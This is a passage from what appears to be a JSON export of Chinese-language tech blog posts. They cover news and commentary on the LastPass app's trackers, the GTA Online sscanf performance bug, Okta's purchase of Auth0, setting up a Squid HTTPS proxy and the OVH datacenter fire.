    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，<a href=\"https://www.lastpass.com/\">LastPass</a> 的 Android App「<a href=\"https://play.google.com/store/apps/details?id=com.lastpass.lpandroid\">LastPass Password Manager</a>」裡面引用了大量的 SDK，引起不少人的資安疑慮：「<a href=\"https://news.ycombinator.com/item?id=26313254\">LastPass Android app has got 7 trackers in it (eu.org)</a>」。\r\n\r\n裡面有七個 tracker，看了一下大概知道想要做什麼，但如果以一個資安為主打的 app，其中的 <a href=\"https://en.wikipedia.org/wiki/Google_Tag_Manager\">Google Tag Manager</a> 讓人不怎麼舒服，基本上就是個 <a href=\"https://en.wikipedia.org/wiki/Remote_code_execution\">Remote code execution</a> 的後門，光就這點能不要用就不要用...\r\n\r\n我自己還是儘可能不要依照這些 vendor，繼續用 <a href=\"https://keepassxc.org/\">KeePassXC</a> 加上同步機制，不過這對於一般人來說麻煩了不少...",
    "title": "LastPass 的 Android App 的資安問題"
  },
  {
    "id": "10033",
    "body": "一樣是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的文章：「<a href=\"https://lock.cmpxchg8b.com/lotus123.html\">Lotus 1-2-3</a>」，講怎麼讓 DOS 版的 <a href=\"https://en.wikipedia.org/wiki/Lotus_1-2-3\">Lotus 1-2-3</a> 支援寬螢幕。在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有些有趣的討論：「<a href=\"https://news.ycombinator.com/item?id=26316637\">Lotus 1-2-3 arbitrary resolution (cmpxchg8b.com)</a>」。\r\n\r\n裡面提到個有趣的事情，目前 Lotus 1-2-3 的 FTP 站還活著：\r\n\r\n<blockquote>Believe it or not, the old Lotus ftp site is still online. I mirrored everything they had to my workstation and sifted through it.</blockquote>\r\n\r\n作者把修改的成果放到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/taviso/lotusdrv\">Lotus 1-2-3 R4D Display Driver for DOSEMU2</a>」，可以看出當年 Lotus 1-2-3 程式裡面沒有 hard code 太多 width = 80 的部份。\r\n\r\n另外個有趣的東西是他提到的 <a href=\"https://en.wikipedia.org/wiki/TASM\">TASM</a>，當年 <a href=\"https://en.wikipedia.org/wiki/Borland\">Borland</a> 的產品。\r\n\r\n懷古的感覺...",
    "title": "讓 Lotus 1-2-3 支援寬螢幕"
  },
  {
    "id": "10034",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.cnx-software.com/2021/02/28/lyra-audio-codec-enables-3-kbps-bitrate-for-high-quality-voice-calls/\">Lyra audio codec enables high-quality voice calls at 3 kbps bitrate</a>」，講 <a href=\"https://www.google.com/\">Google</a> 新推出的 Lyra audio codec：「<a href=\"https://ai.googleblog.com/2021/02/lyra-new-very-low-bitrate-codec-for.html\">Lyra: A New Very Low-Bitrate Codec for Speech Compression</a>」，論文在「<a href=\"https://arxiv.org/abs/2102.09660\">Generative Speech Coding with Predictive Variance Regularization</a>」這邊可以抓到。\r\n\r\n目前 Google 提出來的想法是想辦法在 56kbps 的頻寬下實現還堪用的視訊通話：\r\n\r\n<blockquote>Pairing Lyra with new video compression technologies, like AV1, will allow video chats to take place, even for users connecting to the internet via a 56kbps dial-in modem.</blockquote>\r\n\r\n這次的突破在於可以使用 3kbps 的頻寬傳輸，但清晰度比 <a href=\"https://en.wikipedia.org/wiki/Opus_(audio_format)\">Opus</a> 的 6kbps 效果還好不少。\r\n\r\nGoogle 在文章裡面給了兩個 sample，一個是乾淨背景音，另外一個是吵雜的背景音，跟 Opus 與 <a href=\"https://en.wikipedia.org/wiki/Speex\">Speex</a> 比起來都好很多。\r\n\r\n論文是說不需要太高的運算力，但沒翻到 <a href=\"https://github.com/\">GitHub</a> 之類的 source code，先當作參考：\r\n\r\n<blockquote>We provide extensive subjective performance evaluations that show that our system based on generative modeling provides state-of-the-art coding performance at 3 kb/s for real-world speech signals at reasonable computational complexity.</blockquote>",
    "title": "Google 新推出的 Lyra audio codec"
  },
  {
    "id": "10035",
    "body": "不確定在哪邊看到的，但看起來蠻有趣的：「<a href=\"https://github.com/jevakallio/git-notify\">Communicate important updates to your team via git commit messages.</a>」。\r\n\r\n這隻程式定義了一個 convention，當你在 commit log 裡面有用 <code>git-notify</code> 標注時，有安裝 git-notify 這隻程式的人就會跳出提醒，像是這樣：\r\n\r\n<img src=\"https://i.gslin.com/imgur/8nIG8qU.gif\" alt=\"\" />\r\n\r\n團隊整個一起套用下去的話，效果應該還不錯，不過一般商業團隊都應該有 <a href=\"https://git-scm.com/\">Git</a> 以外的管道可以通知 (像是 <a href=\"https://slack.com/\">Slack</a>)，git-notify 的幫助就未必是不可取代，而且也比較侷限 (像是跟 designer 的溝通就未必會走 Git)。\r\n\r\n算是看起來還蠻有趣的東西，記起來 XD",
    "title": "用 git-notify 提醒重要的訊息"
  },
  {
    "id": "10036",
    "body": "看到 <a href=\"https://www.okta.com/\">Okta</a> 買下 <a href=\"https://auth0.com/\">Auth0</a> 的消息：「<a href=\"https://www.forbes.com/sites/alexkonrad/2021/03/03/okta-acquires-auth0-in-6-billion-all-stock-deal/\">Okta Acquires Fellow Identity Management Company Auth0 In $6.5 Billion All-Stock Deal</a>」，<a href=\"https://techcrunch.com/\">TechCrunch</a> 也有報導：「<a href=\"https://techcrunch.com/2021/03/03/okta-acquires-cloud-identity-startup-auth0-for-6-5b/\">Okta acquires cloud identity startup Auth0 for $6.5B</a>」。\r\n\r\n印象中這兩家公司的產品線有蠻多的重疊，雖然新聞稿上面對於併購的理由以及後續的發展寫的很好看，但這次併購看起來像是 Okta 花錢消滅競爭對手的感覺，使用 Auth0 產品的人心裡要有準備了...",
    "title": "Okta 買下 Auth0"
  },
  {
    "id": "10037",
    "body": "<a href=\"https://www.apple.com/\">Apple</a> 推出了從 <a href=\"https://www.icloud.com/\">iCloud</a> 的內容複製到 <a href=\"https://photos.google.com/\">Google Photos</a> 上的服務：「<a href=\"https://www.macrumors.com/2021/03/03/apple-transfer-icloud-photos-google-photos/\">Apple Launches Service for Transferring iCloud Photos and Videos to Google Photos</a>」。\r\n\r\n我登入進去 iCloud 沒看到，後來才看到：\r\n\r\n<blockquote>Apple's transfer service is available to customers in Australia, Canada, the European Union, Iceland, Liechtenstein, New Zealand, Norway, Switzerland, the United Kingdom, and the United States at this time.</blockquote>\r\n\r\n服務的區域主要是歐洲北美紐西蘭，台灣暫時還沒辦法用，只能先看一下 screenshot 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/J6PbPOc.webp\" /><img src=\"https://i.gslin.com/imgur/J6PbPOc.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3nB2QQP.webp\" /><img src=\"https://i.gslin.com/imgur/3nB2QQP.jpg\" alt=\"\" /></picture>\r\n\r\n既然是 Google Photos，能搬過去的就只有 Google Photos 有支援的類型，包括了大部分的圖片與影片格式：\r\n\r\n<blockquote>Smart Albums, Live Photos, photo stream content, some metadata, and some RAW photos are not able to be transferred, but formats including .jpg, .png, .webp, .gif, some RAW files, .mpg, .mod, .mmv, .tod, .wmv, .asf, .avi, .divx, .mov, .m4v, .3gp, .3g2, .mp4, .m2t, .m2ts, .mts, and .mkv are compatible.</blockquote>\r\n\r\n不知道推出這個功能後面的意義是什麼...",
    "title": "Apple 推出讓 iCloud 可以複製到 Google Photos 上的服務"
  },
  {
    "id": "10038",
    "body": "金流產業的 <a href=\"https://squareup.com/\">Square</a> 買了音樂產業的 <a href=\"https://tidal.com/\">Tidal</a> 大量股份，入主 Tidal：「<a href=\"https://www.wsj.com/articles/square-to-buy-majority-stake-in-jay-zs-tidal-platform-11614866575\">Square to Buy Majority Stake in Jay-Z’s Tidal Music Streaming Platform</a>」，<a href=\"https://techcrunch.com/\">TechCrunch</a> 也有報導：「<a href=\"https://techcrunch.com/2021/03/04/square-buys-majority-of-tidal-adds-jay-z-to-its-board-in-bid-to-shake-up-the-artist-economy/\">Square buys majority of Tidal, adds Jay Z to its board in bid to shake up the artist economy</a>」。\r\n\r\n這次的入股包括現金與股票交換，同時也讓 <a href=\"https://en.wikipedia.org/wiki/Jay-Z\">Jay-Z</a> 成為 Square 的董事：\r\n\r\n<blockquote>Square Inc. is buying a majority stake in Tidal, a music and entertainment platform owned by rapper Shawn “Jay-Z” Carter and other artists, for $297 million in cash and stock.</blockquote>\r\n\r\n<blockquote>The deal also installs musician and businessperson Jay Z on Square’s board.</blockquote>\r\n\r\nSquare 跟 Tidal 的組合想像起來有點累，這算盤不知道怎麼打...",
    "title": "Square 入主 Tidal"
  },
  {
    "id": "10040",
    "body": "這件事情也已經過了一個禮拜，來整理一下發生什麼事情...\r\n\r\n起因是 <a href=\"https://en.wikipedia.org/wiki/Grand_Theft_Auto_Online\">GTA Online</a> 的遊戲開啟速度很慢，而有人一路 reverse engineering 找出問題並且解決：「<a href=\"https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/\">How I cut GTA Online loading times by 70%</a>」，對應的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論有提到其他有趣的事情也可以看看：「<a href=\"https://news.ycombinator.com/item?id=26296339\">How I cut GTA Online loading times by 70% (nee.lv)</a>」。\r\n\r\n作者的電腦不算太差，但光開啟 GTA Online 就需要六分鐘，網路上甚至有辦投票蒐集大家的等待時間，發現也有很多人反應類似的問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tlclHz9.webp\" /><img src=\"https://i.gslin.com/imgur/tlclHz9.png\" alt=\"\" /></picture>\r\n\r\n接下來就開始 reverse engineering 了，先觀察各種狀態後發現是卡在 CPU，而不是網路或 Disk I/O，然後就拿出 <a href=\"http://lukestackwalker.sourceforge.net/\">Luke Stackwalker</a> 這個工具 profiling，不過因為沒有 debug symbol 幫忙 group，所以只能人工判斷後，可以看到兩個問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CesAu5z.webp\" /><img src=\"https://i.gslin.com/imgur/CesAu5z.png\" alt=\"\" /></picture>\r\n\r\n第一個問題發現效能是卡在 <code>strlen()</code>，而 call stack 可以看出來是從 <code>sscanf()</code> 一路打進去的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5DT0Wac.webp\" /><img src=\"https://i.gslin.com/imgur/5DT0Wac.png\" alt=\"\" /></picture>\r\n\r\n反追發現是在處理 10MB 的 JSON 檔造成的，裡面 <code>sscanf()</code> 因為拉出 <code>strlen()</code>，於是就造成把整個 10MB 的 JSON 掃過很多次 (一開始是 10MB，掃到後面會愈來愈少，平均下來應該是 5MB)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZD1cr1j.webp\" /><img src=\"https://i.gslin.com/imgur/ZD1cr1j.png\" alt=\"\" /></picture>\r\n\r\n第二個問題產生的時間會在第一個問題跑完後，另外看問題的性質，應該跟第一個 JSON 處理有關，他會把 JSON 處理過的資料丟進 array，每個 entry 長這樣：\r\n\r\n<pre>struct {\r\n    uint64_t *hash;\r\n    item_t   *item;\r\n} entry;</pre>\r\n\r\n丟進 array 是 OK 的，但問題在於他需要判斷 entry 是否重複，卻沒有用 hash 或是 tree 的結構，而這邊大約有 63k 筆資料，用 array 實做就產生了 <strong>O(n^2)</strong> 的演算法：\r\n\r\n<blockquote>But before it’s stored? It checks the entire array, one by one, comparing the hash of the item to see if it’s in the list or not. With ~63k entries that’s (n^2+n)/2 = (63000^2+63000)/2 = 1984531500 checks if my math is right. Most of them useless. You have unique hashes why not use a hash map.</blockquote>\r\n\r\n作者在 PoC 的章節裡面描述他怎麼解這兩個問題。\r\n\r\n第一個問題比較好的解法是修正 JSON Parser，但這太複雜，所以他用 workaround 解：把 <code>strlen()</code> 包起來，針對長字串加上一層 cache：\r\n\r\n<blockquote><ul>\r\n\t<li>hook strlen</li>\r\n\t<li>wait for a long string</li>\r\n\t<li>“cache” the start and length of it</li>\r\n\t<li>if it’s called again within the string’s range, return cached value</li>\r\n</ul></blockquote>\r\n\r\n而第二個問題他直接把檢查是否有重複的跳過，因為資料本身不重複：\r\n\r\n<blockquote>And as for the hash-array problem, it’s more straightforward - just skip the duplicate checks entirely and insert the items directly since we know the values are unique.</blockquote>\r\n\r\n整個開啟的速度從六分鐘降到一分五十秒，還是偏慢，但算是大幅緩解的 GTA Online 啟動速度的問題了。\r\n\r\n不過故事到這邊還沒結束，有人一路去挖，發現其實 <code>sscanf()</code> 的效能地雷已經不是第一次了：<a href=\"https://yaml.org/\">YAML</a> 的 Parser 也中過一樣的問題：「<a href=\"https://github.com/biojppm/rapidyaml/issues/40\">Parsing can become accidentally quadratic because of sscanf</a>」，這篇也一樣上了 Hacker News：「<a href=\"https://news.ycombinator.com/item?id=26302744\">Parsing can become accidentally quadratic because of sscanf (github.com/biojppm)</a>」。\r\n\r\n然後這又帶出了六年前在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上就有人問過這個問題：「<a href=\"https://stackoverflow.com/questions/23923924/why-is-glibcs-sscanf-vastly-slower-than-fscanf-on-linux/23924112#23924112\">Why is glibc's sscanf vastly slower than fscanf on Linux?</a>」。\r\n\r\n另外也有人整理出來，應該是大家把同樣的演算法拿來實做：\r\n\r\n<blockquote>JdeBP 3 days ago\r\n\r\nI found this while making a collection of what C implementation does what at https://news.ycombinator.com/item?id=26298300.\r\n\r\nThere are two basic implementation strategies. The BSD (FreeBSD and OpenBSD and more than likely NetBSD too), Microsoft, GNU, and MUSL C libraries use one, and suffer from this; whereas the OpenWatcom, P.J. Plauger, Tru64 Unix, and my standard C libraries use another, and do not.\r\n\r\nThe 2002 report in the comp.lang.c Usenet newsgroup (listed in that discussion) is the earliest that I've found so far.</blockquote>\r\n\r\n後續的更新動作可以再追一下進度 (包括 GTA Online 與各家的 libc)。",
    "title": "GTA 的啟動讀取效能問題"
  },
  {
    "id": "10042",
    "body": "剛剛在買東西的時候故意丟 <a href=\"https://www.jcb.jp/\">JCB</a> 的卡號進去，發現 <a href=\"https://stripe.com/\">Stripe</a> 認得，找了一下公告資料，發現是去年 2020 年五月支援的：「<a href=\"https://stripe.com/blog/jcb-expansion\">Expanding support for JCB payments</a>」。\r\n\r\n先前在日本買 Live 物販的時候 (2019 年年底，應該是 <a href=\"https://h-el-ical.com/\">H-el-ical</a> 與 <a href=\"https://ja.wikipedia.org/wiki/See-Saw\">See-Saw</a> 這兩場)，看到現場是使用 <a href=\"https://www.apple.com/ipad/\">iPad</a> + Stripe 的組合，一開始還驚訝了一下，但被告知不支援 JCB 的時候心裡「...」了一陣子，只能刷 <a href=\"https://www.mastercard.com/\">Mastercard</a> 或是 <a href=\"https://www.visa.com/\">Visa</a>。\r\n\r\n看起來在去年推出的時候，日本地區是自動開放：\r\n\r\n<blockquote>Businesses using Stripe in Japan can now automatically accept payments with JCB, in most cases without any additional work.</blockquote>\r\n\r\n其他地區則是逐步開放：\r\n\r\n<blockquote>We are rolling out JCB acceptance to businesses in more countries, starting with Canada, Australia, and New Zealand, with more to come. This lets global businesses, from e-commerce sites in Canada to subscription services in Australia, easily transact with JCB cardholders.</blockquote>\r\n\r\n如果 2022 年有機會去日本的話，應該會看到更多使用 Stripe 的方案了...",
    "title": "Stripe 原來支援 JCB 了啊..."
  },
  {
    "id": "10043",
    "body": "前陣子看到「<a href=\"https://techcrunch.com/2021/02/24/mealme-raises-900000-for-its-food-search-engine/\">MealMe raises $900,000 for its food search engine</a>」這個，可以互相比較外送平台的 <a href=\"https://www.mealme.ai/\">MealMe</a>，不過目前看起來是在美國。\r\n\r\n可以拉出最便宜與預估最快的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8iUUbpy.webp\" /><img src=\"https://i.gslin.com/imgur/8iUUbpy.png\" alt=\"\" /></picture>\r\n\r\n不知道台灣有沒有類似的服務，目前台灣有在做美食外送的應該是 <a href=\"https://www.foodpanda.com.tw/\">Foodpanda</a> 與 <a href=\"https://www.ubereats.com/tw\">Uber Eats</a> 最大，另外小的幾家是 <a href=\"https://www.foodomo.com/\">Foodomo</a>、<a href=\"https://www.yo-woo.com/\">有無外送</a>以及<a href=\"https://www.quickpick.com.tw/\">快點外送</a> (台中)，不知道沒有有漏...",
    "title": "比較外送平台的 MealMe"
  },
  {
    "id": "10046",
    "body": "<a href=\"https://simonwillison.net/\">Simon Willison</a> 提出了一個想法，認為 Open Source 專案可以透過 Office Hour 的方式幫助社群：「<a href=\"https://simonwillison.net/2021/Feb/19/office-hours/\">Open source projects: consider running office hours</a>」，順帶一提的是，本來的標題是「Open source projects should run office hours」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有些人看不爽，所以就改掉了，討論串在「<a href=\"https://news.ycombinator.com/item?id=26351053\">Open source projects should run office hours (simonwillison.net)</a>」這邊可以看到。\r\n\r\nOffice Hour 這個詞不知道出自哪裡，不過在大學的時候常常用到，主要是教授或是助教會安排一個固定的時間與地點，讓學生可以過去發問。\r\n\r\n社群也有類似的作法，像是 <a href=\"https://www.wikimedia.org/\">Wikimedia</a> 的 <a href=\"https://meta.wikimedia.org/wiki/IRC_office_hours\">IRC office hours</a>，是線上的形式，透過 <a href=\"https://en.wikipedia.org/wiki/Internet_Relay_Chat\">IRC</a> 溝通。\r\n\r\n如果是商業公司主導的 open source 專案應該是可以考慮的方法，有地方可以問的確會方便不少。",
    "title": "Open Source 專案的 Office Hour"
  },
  {
    "id": "10048",
    "body": "在 <a href=\"https://www.wsj.com/\">The Wall Street Journal</a> 上看到的，印度政府威脅 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://www.whatsapp.com/\">WhatsApp</a> 與 <a href=\"https://twitter.com/\">Twitter</a>，如果不配合政府的要求提供資料並將內容下架，將會逮捕他們在印度的員工：「<a href=\"https://www.wsj.com/articles/india-threatens-jail-for-facebook-whatsapp-and-twitter-employees-11614964542\">India Threatens Jail for Facebook, WhatsApp and Twitter Employees</a>」。\r\n\r\n這應該是透過上個月才剛過的法令：「<a href=\"https://www.wsj.com/articles/facebook-whatsapp-and-twitter-face-new-rules-in-india-11614250424\">Facebook, WhatsApp and Twitter Face New Rules in India</a>」。\r\n\r\n印度的市場太大，各家社群網站都想要進去，造就了政府的有足夠的能力跟這些大公司談判，而且是具有壓制性的力量。\r\n\r\n在去年殺完 <a href=\"https://en.wikipedia.org/wiki/Tiktok\">Tiktok</a> 後，上個月擴權然後這個月反過來殺這些美國的企業。\r\n\r\n美國政府不知道會幫到什麼程度...",
    "title": "印度威脅要逮捕 Facebook、WhatsApp 與 Twitter 的員工"
  },
  {
    "id": "10049",
    "body": "昨天在「<a href=\"https://blog.gslin.org/archives/2021/03/06/10040/gta-%e7%9a%84%e5%95%9f%e5%8b%95%e8%ae%80%e5%8f%96%e6%95%88%e8%83%bd%e5%95%8f%e9%a1%8c/\">GTA 的啟動讀取效能問題</a>」這邊提到了 <code>sscanf()</code> 與 <code>strlen()</code> 的問題，剛剛在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上又看到一篇「<a href=\"https://www.mattkeeter.com/blog/2021-03-01-happen/\">It Can Happen to You</a>」，在講他自己的專案也中獎。\r\n\r\n他提到了一個解法，用 <code>strtof()</code> 取代 <code>sscanf()</code> 讀數字，結果大幅降低了 parsing 的時間：\r\n\r\n<blockquote>Replacing the sscanf call with strtof improved startup by nearly a factor of 10: from 1.8 seconds to 199 milliseconds.</blockquote>\r\n\r\n文章的最後面題到了不少目前正在進行中的討論與 patch。\r\n\r\n首先是 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上的 patch 已經在測試：「<a href=\"https://reviews.freebsd.org/D29007\">address a performance problem w/ partial sscanf on long strings...</a>」，裡面可以看到有很小心的在研究會不會造成 performance regression。\r\n\r\n然後是 <a href=\"https://en.wikipedia.org/wiki/glibc\">glibc</a> 這邊，在 2014 年就有被開了一張票提出來：「<a href=\"https://sourceware.org/bugzilla/show_bug.cgi?id=17577\">Bug 17577 - sscanf extremely slow on large strings</a>」，不過下面只是多了幾個 comment，目前沒有任何進度。\r\n\r\n然後是 <a href=\"https://en.cppreference.com/\">cppreference.com</a> 上的「<a href=\"https://en.cppreference.com/w/cpp/io/c/fscanf\">std::scanf, std::fscanf, std::sscanf</a>」頁面則是加注了複雜度的問題：\r\n\r\n<blockquote><strong>Complexity</strong>\r\n\r\nNot guaranteed. Notably, some implementations of sscanf are O(N), where N = std::strlen(buffer) [1]. For performant string parsing, see std::from_chars.</blockquote>\r\n\r\n感覺接下來應該還會有更多人提出自己的災情，或是有人發現某個跑很慢的專案也是因為這個原因...",
    "title": "sscanf() 與 strlen() 的故事繼續發展"
  },
  {
    "id": "10050",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這個太哭腰了，泡茶也有 ISO 標準：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">So, there is an ISO standard for brewing tea <a href=\"https://t.co/w621jwVEGg\">https://t.co/w621jwVEGg</a></p>&mdash; Frank (@jedisct1) <a href=\"https://twitter.com/jedisct1/status/1368489780049248256?ref_src=twsrc%5Etfw\">March 7, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在中文維基百科內也有條目可以看：「<a href=\"https://zh.wikipedia.org/wiki/ISO_3103\">ISO 3103</a>」，裡面有提到這是從 BSI 6008:1980 來的：\r\n\r\n<blockquote>ISO 3103是一項由國際標準組織（通稱ISO）所制訂的標準，其中詳細說明了一種標準化的泡茶方法，源自於1980年由英國標準協會（BSI）所制定的標準BS 6008:1980。此標準是由ISO的第34技術委員會（食品）中的第8子委員會（茶）所制定。</blockquote>\r\n\r\n<blockquote>1999年搞笑諾貝爾獎將文學獎授予BS 6008標準。</blockquote>\r\n\r\n這個真的是太哭腰了...",
    "title": "泡茶方式的 ISO 標準：ISO 3103"
  },
  {
    "id": "10055",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 提供 One Zone 的版本，用較低的可靠度提供更低的價錢：「<a href=\"https://aws.amazon.com/blogs/aws/new-lower-cost-one-zone-storage-classes-for-amazon-elastic-file-system/\">New – Lower Cost Storage Classes for Amazon Elastic File System</a>」。\r\n\r\n價錢大約是 53 折，不過要注意不在同一個 AZ 時使用會有頻寬費用：\r\n\r\n<blockquote>Standard data transfer fees apply for inter-AZ or inter-region access to file systems.</blockquote>\r\n\r\n目前想的到的是 <code>/net/tmp</code> 這類的用途，資料掉了也就算了，考慮到可靠度，其他的用途好像暫時想不到...",
    "title": "Amazon EFS 推出 One Zone 版本"
  },
  {
    "id": "10057",
    "body": "HTTP Proxy 算是很好用的跳板手段，瀏覽器有很多套件可以依照各種條件自動切換到不同的 Proxy 上面。\r\n\r\n但一般在使用 HTTP Proxy (走 Port 3128 或是 8080 的那種) 使用明文傳輸，就不適合使用 <code>Proxy-Authenticate</code> 把帳號密碼帶進去 (出自 <a href=\"https://tools.ietf.org/html/rfc7235\">RFC 7235</a> 的「Hypertext Transfer Protocol (HTTP/1.1): Authentication」)，查了一些資料後發現，現在的瀏覽器基本上都支援 Proxy over TLS 了，也就是 Proxy Protocol 外面包一層 TLS，保護瀏覽器到 Proxy 中間的流量。\r\n\r\n順便說一下，這邊講的 HTTPS Proxy 跟環境變數裡的 <code>HTTPS_PROXY</code> 與 <code>https_proxy</code> 不太一樣，這兩個環境變數是說「HTTPS 協定要走哪個 Proxy 設定」。\r\n\r\nHTTPS Proxy 主要有幾份文件可以參考，第一份可以是 <a href=\"http://www.squid-cache.org/\">Squid</a> 的「<a href=\"https://wiki.squid-cache.org/Features/HTTPS\">Feature: HTTPS (HTTP Secure or HTTP over TLS)</a>」，裡面提到了伺服器上的設定 <a href=\"http://www.squid-cache.org/Doc/config/https_port/\">https_port</a>，以及瀏覽器的支援度。\r\n\r\n第二份是認證的部份，也是 Squid 的文章「<a href=\"https://wiki.squid-cache.org/Features/Authentication\">Proxy Authentication</a>」這篇，走 ncsa 認證基本上就可以吃熟悉的 <code>.htpasswd</code> 格式了。\r\n\r\n接下來就是安裝與設定了，在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 可以直接用 apt 裝 squid4，因為有包括了 <code>--enable-gnutls</code>；而在 Ubuntu 18.04 就不能這樣做了，因為 Ubuntu 裡面是 squid3，而且沒有加上 <code>--enable-openssl</code> 或是 <code>--enable-gnutls</code>，會比較麻煩...\r\n\r\n其他基本上就是塞設定進去就可以了... 然後 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 這邊可以裝「<a href=\"https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif\">Proxy SwitchyOmega</a>」這種套件，他可以設定 HTTPS Proxy 的 Profile，然後依照網域名稱來設定要用哪個 Profile。\r\n\r\n這樣做的好處就是不需要連 VPN 改變 routing table (通常需要登入)，就有類似 VPN 的效果，而且可以很細緻的調整流量要怎麼繞。\r\n\r\n而且機器上也不需要 shell account 讓人跑 <code>ssh -D1080</code> 之類的指令開 Socks Proxy，要給朋友共用也比較簡單。\r\n\r\n先架了台灣跟美國的，找機會再多架一些伺服器起來用...",
    "title": "架設 Proxy over TLS"
  },
  {
    "id": "10058",
    "body": "<a href=\"https://www.ovh.com/\">OVH</a> 算是國際上很大的 Hosting 公司，昨天在法國史特拉斯堡 (Strasbourg) 的 SBG2 機房發生火災，這邊的 Octave Klaba 是 OVH 的創辦人與老闆，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=26407323\">Fire declared in OVH SBG2 datacentre building (ovh.net)</a>」這邊也有討論可以看：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">We have a major incident on SBG2. The fire declared in the building. Firefighters were immediately on the scene but could not control the fire in SBG2. The whole site has been isolated which impacts all services in SGB1-4. We recommend to activate your Disaster Recovery Plan.</p>&mdash; Octave Klaba (@olesovhcom) <a href=\"https://twitter.com/olesovhcom/status/1369478732247932929?ref_src=twsrc%5Etfw\">March 10, 2021</a></blockquote>\r\n\r\n可以在 <a href=\"https://threadreaderapp.com/\">Threadreader</a> 上面讀整個 thread，Octave Klaba 有一直有在 <a href=\"https://twitter.com/\">Twitter</a> 上 update 進度與後續的計畫：「<a href=\"https://threadreaderapp.com/thread/1369478732247932929.html\">https://threadreaderapp.com/thread/1369478732247932929.html</a>」。\r\n\r\n新聞媒體也有一些當時的空拍圖放出來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p63oJX8.webp\" /><img src=\"https://i.gslin.com/imgur/p63oJX8.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"fr\" dir=\"ltr\">? Incendie sur le site d&#39;OVH Cloud à <a href=\"https://twitter.com/hashtag/Strasbourg?src=hash&amp;ref_src=twsrc%5Etfw\">#Strasbourg</a> : une centaine de <a href=\"https://twitter.com/hashtag/Pompiers67?src=hash&amp;ref_src=twsrc%5Etfw\">#Pompiers67</a> ? a été mobilisée cette nuit dont le bateau-pompe franco-allemand Europa1. Les actions menées ont permis de préserver la majeure partie des bâtiments de l&#39;entreprise. COD activé. Pas de blessé. <a href=\"https://t.co/RKjI6F9DB7\">pic.twitter.com/RKjI6F9DB7</a></p>&mdash; SDIS du Bas-Rhin (@sdis67) <a href=\"https://twitter.com/sdis67/status/1369597903535304705?ref_src=twsrc%5Etfw\">March 10, 2021</a></blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/v8wN2XY.webp\" /><img src=\"https://i.gslin.com/imgur/v8wN2XY.jpg\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://www.dna.fr/faits-divers-justice/2021/03/10/strasbourg-important-incendie-dans-une-entreprise-situee-sur-un-site-seveso-au-port-du-rhin\">Strasbourg: important incendie chez OVHcloud, de nombreux sites internet indisponibles partout dans le monde</a>」。</small>\r\n\r\n另外更重要的是伺服器裡面資料的部份，其中 SBG2 全毀，SBG1 毀了四間 (SBG1 總共 12 間)，這些資料看起來都沒辦法救了。而 SBG3 與 SBG4 的機器還在，但目前沒有電力。\r\n\r\n接下來的會花時間重建 SBG{1,3,4} 的電力系統與重建對外連線，看起來 20KV 的線路與 240V 的線路都有受損需要重弄。\r\n\r\n然後也已經有廠商丟災情出來了，線上遊戲的 <a href=\"https://en.wikipedia.org/wiki/Rust_(video_game)\">Rust</a> 一開始說他們受到影響：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Update:<br>25 of our EU servers remain offline due to a fire at OVH Datacenter in the early hours of this morning. Unfortunately, the fire destroyed SBG-2 building. We&#39;re expecting a large amount of data loss across the affected servers. <br><br>We&#39;ll share more news when we can.</p>&mdash; Rust (@playrust) <a href=\"https://twitter.com/playrust/status/1369558033559412737?ref_src=twsrc%5Etfw\">March 10, 2021</a></blockquote>\r\n\r\n但更慘的是官方後續更新，直接說資料無法恢復，聽起來像是沒有備份資料，或是備份資料也在同一個機房內：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Update:<br>We&#39;ve confirmed a total loss of the affected EU servers during the OVH data centre fire. We&#39;re now exploring replacing the affected servers. <br><br>Data will be unable to be restored.</p>&mdash; Rust (@playrust) <a href=\"https://twitter.com/playrust/status/1369611688539009025?ref_src=twsrc%5Etfw\">March 